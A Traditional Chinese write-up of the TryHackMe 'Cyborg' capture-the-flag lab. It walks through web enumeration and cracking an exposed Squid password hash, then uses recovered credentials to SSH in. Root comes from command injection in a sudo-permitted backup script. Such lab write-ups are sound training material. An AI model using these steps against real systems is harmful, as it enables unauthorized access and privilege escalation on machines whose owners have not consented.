> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Cyborg Writeup (zh-TW)
- URL: https://taiwanding.com/tryhackme-cyborg-writeup-zh-tw/
- Published: 2025-10-09T07:46:03.000Z
- Updated: 2026-07-15T02:49:55.000Z
- Author: Kevin Chen
- Tags: tryhackme, CTF, web

## 題目資訊

- **平台**: TryHackMe
- **房間名稱**: Cyborg
- **難度**: Easy
- **目標**: 取得 user flag 與 root flag
- **連結**: [https://tryhackme.com/room/cyborgt8](https://tryhackme.com/room/cyborgt8?ref=taiwanding.com)

## 發現服務

```bash
nmap -sC -sV -Pn 10.201.101.58

```

**結果**

- 22/tcp - OpenSSH
- 80/tcp - Apache httpd

## Step 1: Web 枚舉

訪問網站發現是一個靜態網頁，進行目錄掃描：

```bash
gobuster dir -u http://10.201.101.58 -w /usr/share/wordlists/common.txt

```

```bash
└─$ gobuster dir -u http://10.201.101.58/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 40
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.201.101.58/
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.hta                 (Status: 403) [Size: 278]
/admin                (Status: 301) [Size: 314] [--> http://10.201.101.58/admin/]
/etc                  (Status: 301) [Size: 312] [--> http://10.201.101.58/etc/]
/index.html           (Status: 200) [Size: 11321]
/server-status        (Status: 403) [Size: 278]
Progress: 4746 / 4747 (99.98%)
===============================================================
Finished
===============================================================
```

**發現重要目錄**

- `/admin` \- 管理面板頁面
- `/etc` \- 配置文件目錄

## Step 2: 探索 /admin 目錄

進入 `/admin` 後發現聊天記錄（Adminer），內容提到：

```
[Today at 5.45am from Alex]
Ok sorry guys i think i messed something up, uhh i was playing around 
with the squid proxy i mentioned earlier.
...
And since i dont know how it works im not sure how to delete them 
hope they don't contain any confidential information lol.

```

**關鍵線索**:

- Alex 玩壞了 Squid Proxy
- 配置文件到處都是
- 可能包含敏感信息

同時發現一個 **Download Archive** 按鈕，下載得到 `archive.tar`

## Step 3: 分析下載的檔案

```bash
tar -xvf archive.tar
cd home/field/dev/final_archive

```

發現這是一個 **Borg Backup 倉庫**！

```bash
tree
# .
# ├── config
# ├── data
# │   └── 0
# │       ├── 1
# │       ├── 3
# │       ├── 4
# │       └── 5
# ├── hints.5
# ├── index.5
# ├── integrity.5
# ├── nonce
# └── README

```

## Step 4: 尋找 Borg 密碼

回到 Web 目錄探索 `/etc/squid`，找到 Squid Proxy 配置：

```bash
# 訪問 http://10.201.101.58/etc/squid/squid.conf

```

**配置內容**:

```
auth_param basic program /usr/lib64/squid/basic_ncsa_auth /etc/squid/passwd
auth_param basic children 5
auth_param basic realm Squid Basic Authentication
auth_param basic credentialsttl 2 hours
acl auth_users proxy_auth REQUIRED
http_access allow auth_users

```

**關鍵**: 指向 `/etc/squid/passwd` 文件

訪問 `http://10.201.101.58/etc/squid/passwd` 得到：

```
music_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.

```

## Step 5: 破解 Apache APR1 MD5 哈希

這是 **Apache $apr1$ MD5** 格式（mode 1600）

```bash
# 只保留哈希部分（移除用戶名）
echo '$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.' > hash.txt

# 使用 hashcat 破解
hashcat -m 1600 hash.txt /usr/share/wordlists/rockyou.txt

```

**破解結果**: `squidward`

## Step 6: 解鎖 Borg Backup

```bash
# 列出備份檔案
borg list final_archive
# Enter passphrase: squidward

# 輸出:
# music_archive    Tue, 2020-12-29 22:00:38 [f789ddb6...]

```

**提取備份內容**:

```bash
mkdir borg_extracted
cd borg_extracted
borg extract /path/to/final_archive::music_archive

```

**探索提取的檔案**:

```bash
cd home/alex
tree
# .
# ├── Desktop
# │   └── secret.txt
# ├── Documents
# │   └── note.txt
# ├── Downloads
# ├── Music
# ...

```

## Step 7: 取得 Alex 的憑證

```bash
cat Documents/note.txt

```

**內容**:

```
Wow I'm awful at remembering Passwords so I've taken my 
Friends advice and noting them down!

alex:S3cretP@s3

```

**找到 Alex 的 SSH 密碼**: `S3cretP@s3`

## Step 8: SSH 登入 Alex

```bash
ssh alex@10.201.101.58
# Password: S3cretP@s3

```

**取得 user flag**:

```bash
ls -la
cat user.txt
# flag{Redacted}

```

## Step 9: 權限提升偵察

```bash
sudo -l

```

**輸出**:

```
User alex may run the following commands on ubuntu:
    (ALL : ALL) NOPASSWD: /etc/mp3backups/backup.sh

```

**分析腳本**:

```bash
cat /etc/mp3backups/backup.sh

```

**關鍵漏洞代碼**:

```bash
while getopts c: flag
do
        case "${flag}" in
                c) command=${OPTARG};;
        esac
done
...
cmd=$($command)
echo $cmd

```

## Step 10: 命令注入提權

腳本接受 `-c` 參數並**直接執行命令**，且以 **sudo 權限**運行！

### 讀取 Root Flag

```bash
sudo /etc/mp3backups/backup.sh -c "cat /root/root.txt"

```

**Root Flag**:

```
flag{Redacted}

```

## 技術要點總結

### 1\. Borg Backup 解密

- 使用 `borg list` 列出備份
- 使用 `borg extract` 提取內容
- 密碼通常藏在其他地方（本題在 Squid 配置）

### 2\. Apache APR1 MD5 破解

```bash
# Hashcat mode 1600
hashcat -m 1600 hash.txt wordlist.txt

# 或使用 John the Ripper
john --format=md5crypt hash.txt

```

### 3\. Sudo 濫用

- 總是先檢查 `sudo -l`
- 可以無密碼執行的腳本是提權的首要目標
- 檢查腳本是否：
  - 可寫入
  - 使用相對路徑
  - 有命令注入點
  - 使用通配符

## 經驗分享

這一題有觸碰到基本的程式碼審計，但審計的目標不是程式碼本身，而是需要知道是使用一個工具叫做borg backup，來備份整個使用者目錄，所以知道之後就可以提取相關資訊，也才能得到alex的使用者目錄。